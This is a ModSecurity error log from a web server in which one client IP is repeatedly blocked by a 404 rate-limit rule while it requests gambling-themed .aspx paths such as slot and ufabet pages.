[Thu Mar 05 02:52:04.211261 2026] [:error] [pid 27814:tid 27893] [client 147.135.214.239:51042] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aah_VLPcbh1BHIHQb9KSegAAANM"]
[Thu Mar 05 02:52:06.120202 2026] [:error] [pid 27814:tid 27890] [client 147.135.214.239:43052] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aah_VrPcbh1BHIHQb9KSfwAAANA"]
[Thu Mar 05 02:52:08.013686 2026] [:error] [pid 27814:tid 27891] [client 147.135.214.239:43064] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aah_WLPcbh1BHIHQb9KShQAAANE"]
[Thu Mar 05 02:52:09.909492 2026] [:error] [pid 27814:tid 27877] [client 147.135.214.239:43074] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aah_WbPcbh1BHIHQb9KSiAAAAMQ"]
[Thu Mar 05 02:52:11.834942 2026] [:error] [pid 26934:tid 26976] [client 147.135.214.239:43088] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aah_W2DWd71V_nuoqWJfJgAAAJU"]
[Thu Mar 05 02:52:13.721496 2026] [:error] [pid 27814:tid 27883] [client 147.135.214.239:43094] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aah_XbPcbh1BHIHQb9KSkgAAAMk"]
[Thu Mar 05 02:52:15.773369 2026] [:error] [pid 26934:tid 26958] [client 147.135.214.239:48460] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aah_X2DWd71V_nuoqWJfNQAAAIU"]
[Thu Mar 05 02:52:17.802359 2026] [:error] [pid 26934:tid 26967] [client 147.135.214.239:48476] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aah_YWDWd71V_nuoqWJfPwAAAI0"]
[Thu Mar 05 02:52:19.669317 2026] [:error] [pid 26969:tid 27045] [client 147.135.214.239:48480] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aah_Y5lCO2K-E0MVfPPq5gAAAAU"]
[Thu Mar 05 02:52:21.682968 2026] [:error] [pid 27472:tid 27548] [client 147.135.214.239:48494] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aah_Zbt7N-W1OaN6b8rtWgAAAZA"]
[Thu Mar 05 02:52:23.561396 2026] [:error] [pid 27814:tid 27877] [client 147.135.214.239:48502] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aah_Z7Pcbh1BHIHQb9KSowAAAMQ"]
[Thu Mar 05 02:52:25.617784 2026] [:error] [pid 27472:tid 27552] [client 147.135.214.239:44818] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aah_abt7N-W1OaN6b8rtXgAAAZM"]
[Thu Mar 05 02:52:27.507870 2026] [:error] [pid 26934:tid 26960] [client 147.135.214.239:44834] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aah_a2DWd71V_nuoqWJfVAAAAIc"]
[Thu Mar 05 02:52:29.551773 2026] [:error] [pid 27814:tid 27878] [client 147.135.214.239:44840] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aah_bbPcbh1BHIHQb9KSswAAAMU"]
[Thu Mar 05 02:52:31.415592 2026] [:error] [pid 26934:tid 26965] [client 147.135.214.239:44842] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aah_b2DWd71V_nuoqWJfZwAAAIw"]
[Thu Mar 05 02:52:33.466354 2026] [:error] [pid 27814:tid 27878] [client 147.135.214.239:44852] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aah_cbPcbh1BHIHQb9KSuAAAAMU"]
[Thu Mar 05 02:52:35.369697 2026] [:error] [pid 26934:tid 26963] [client 147.135.214.239:42336] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aah_c2DWd71V_nuoqWJfbQAAAIo"]
[Thu Mar 05 02:52:37.249352 2026] [:error] [pid 27814:tid 27891] [client 147.135.214.239:42352] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aah_dbPcbh1BHIHQb9KSwgAAANE"]
[Thu Mar 05 02:52:39.277534 2026] [:error] [pid 27814:tid 27892] [client 147.135.214.239:42368] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aah_d7Pcbh1BHIHQb9KSxAAAANI"]
[Thu Mar 05 02:52:41.159375 2026] [:error] [pid 26934:tid 26953] [client 147.135.214.239:42370] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aah_eWDWd71V_nuoqWJfegAAAIA"]
[Thu Mar 05 02:52:43.195735 2026] [:error] [pid 26934:tid 26958] [client 147.135.214.239:42378] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aah_e2DWd71V_nuoqWJffwAAAIU"]
[Thu Mar 05 02:52:45.115776 2026] [:error] [pid 26966:tid 27015] [client 147.135.214.239:42386] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aah_fRaIQuoePO_dwgdBsAAAAEI"]
[Thu Mar 05 02:52:46.904622 2026] [:error] [pid 27814:tid 27891] [client 147.135.214.239:60838] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aah_frPcbh1BHIHQb9KSygAAANE"]
[Thu Mar 05 02:52:48.941697 2026] [:error] [pid 26969:tid 27042] [client 147.135.214.239:60850] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aah_gJlCO2K-E0MVfPPrAgAAAAI"]
[Thu Mar 05 02:52:50.970057 2026] [:error] [pid 26969:tid 27046] [client 147.135.214.239:60858] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "aah_gplCO2K-E0MVfPPrBQAAAAY"]
[Thu Mar 05 02:52:52.846710 2026] [:error] [pid 27814:tid 27877] [client 147.135.214.239:60870] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "aah_hLPcbh1BHIHQb9KS0AAAAMQ"]
[Thu Mar 05 02:52:54.897528 2026] [:error] [pid 26966:tid 27016] [client 147.135.214.239:60886] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "aah_hhaIQuoePO_dwgdBtAAAAEM"]
[Thu Mar 05 02:52:56.673040 2026] [:error] [pid 26966:tid 27033] [client 147.135.214.239:35248] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "aah_iBaIQuoePO_dwgdBtwAAAFQ"]
[Thu Mar 05 02:52:58.696549 2026] [:error] [pid 27472:tid 27532] [client 147.135.214.239:35250] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aah_irt7N-W1OaN6b8rtiAAAAYE"]
[Thu Mar 05 02:53:34.004642 2026] [:error] [pid 27814:tid 27881] [client 147.135.214.239:35266] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aah_rrPcbh1BHIHQb9KTIwAAAMc"]
[Thu Mar 05 02:53:35.970884 2026] [:error] [pid 26934:tid 26973] [client 147.135.214.239:53910] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aah_r2DWd71V_nuoqWJgDQAAAJI"]
[Thu Mar 05 02:53:37.984984 2026] [:error] [pid 27814:tid 27874] [client 147.135.214.239:53922] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aah_sbPcbh1BHIHQb9KTLQAAAME"]
[Thu Mar 05 02:53:39.983535 2026] [:error] [pid 26969:tid 27062] [client 147.135.214.239:53928] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aah_s5lCO2K-E0MVfPPrIwAAABY"]
[Thu Mar 05 02:53:41.985918 2026] [:error] [pid 27472:tid 27540] [client 147.135.214.239:53938] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aah_tbt7N-W1OaN6b8rtsAAAAYk"]
[Thu Mar 05 02:53:43.991337 2026] [:error] [pid 26969:tid 27051] [client 147.135.214.239:53942] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aah_t5lCO2K-E0MVfPPrKAAAAAs"]
[Thu Mar 05 02:53:45.988751 2026] [:error] [pid 27472:tid 27541] [client 147.135.214.239:44890] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aah_ubt7N-W1OaN6b8rttwAAAYo"]
[Thu Mar 05 02:53:47.988736 2026] [:error] [pid 27472:tid 27533] [client 147.135.214.239:44900] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aah_u7t7N-W1OaN6b8rtuAAAAYI"]
[Thu Mar 05 02:53:49.995492 2026] [:error] [pid 27472:tid 27542] [client 147.135.214.239:44906] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aah_vbt7N-W1OaN6b8rtvAAAAYs"]
[Thu Mar 05 02:53:51.992994 2026] [:error] [pid 27814:tid 27895] [client 147.135.214.239:44912] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aah_v7Pcbh1BHIHQb9KTPwAAANU"]
[Thu Mar 05 02:53:53.989597 2026] [:error] [pid 27472:tid 27553] [client 147.135.214.239:44918] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "aah_wbt7N-W1OaN6b8rtwAAAAZQ"]
[Thu Mar 05 02:53:55.987304 2026] [:error] [pid 26934:tid 26972] [client 147.135.214.239:38140] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aah_w2DWd71V_nuoqWJgZgAAAJE"]
[Thu Mar 05 02:53:57.996155 2026] [:error] [pid 26969:tid 27052] [client 147.135.214.239:38142] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aah_xZlCO2K-E0MVfPPrQgAAAAw"]
[Thu Mar 05 02:53:59.986123 2026] [:error] [pid 26969:tid 27056] [client 147.135.214.239:38152] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aah_x5lCO2K-E0MVfPPrSgAAABA"]
[Thu Mar 05 02:54:01.991861 2026] [:error] [pid 26934:tid 26961] [client 147.135.214.239:38162] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aah_yWDWd71V_nuoqWJgvQAAAIg"]
[Thu Mar 05 02:54:04.016210 2026] [:error] [pid 26934:tid 26974] [client 147.135.214.239:38168] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aah_zGDWd71V_nuoqWJgyQAAAJM"]
[Thu Mar 05 02:54:06.029781 2026] [:error] [pid 26966:tid 27027] [client 147.135.214.239:54162] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aah_zhaIQuoePO_dwgdBzwAAAE4"]
[Thu Mar 05 02:54:08.036519 2026] [:error] [pid 26934:tid 26977] [client 147.135.214.239:54172] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aah_0GDWd71V_nuoqWJg1QAAAJY"]
[Thu Mar 05 02:54:10.047191 2026] [:error] [pid 26934:tid 26978] [client 147.135.214.239:54182] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aah_0mDWd71V_nuoqWJg2gAAAJc"]
[Thu Mar 05 02:54:12.053863 2026] [:error] [pid 26934:tid 26964] [client 147.135.214.239:54196] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aah_1GDWd71V_nuoqWJg3AAAAIs"]
[Thu Mar 05 02:54:14.043696 2026] [:error] [pid 26934:tid 26978] [client 147.135.214.239:54208] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aah_1mDWd71V_nuoqWJg4gAAAJc"]
[Thu Mar 05 02:54:16.043607 2026] [:error] [pid 26934:tid 26959] [client 147.135.214.239:42150] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aah_2GDWd71V_nuoqWJg7AAAAIY"]
[Thu Mar 05 02:54:18.034141 2026] [:error] [pid 26934:tid 26965] [client 147.135.214.239:42154] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aah_2mDWd71V_nuoqWJg8QAAAIw"]
[Thu Mar 05 02:54:20.024917 2026] [:error] [pid 26934:tid 26975] [client 147.135.214.239:42164] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aah_3GDWd71V_nuoqWJg-QAAAJQ"]
[Thu Mar 05 02:54:22.026206 2026] [:error] [pid 27472:tid 27538] [client 147.135.214.239:42168] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aah_3rt7N-W1OaN6b8rt2wAAAYc"]
[Thu Mar 05 02:54:24.025356 2026] [:error] [pid 27472:tid 27539] [client 147.135.214.239:42180] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aah_4Lt7N-W1OaN6b8rt4AAAAYg"]
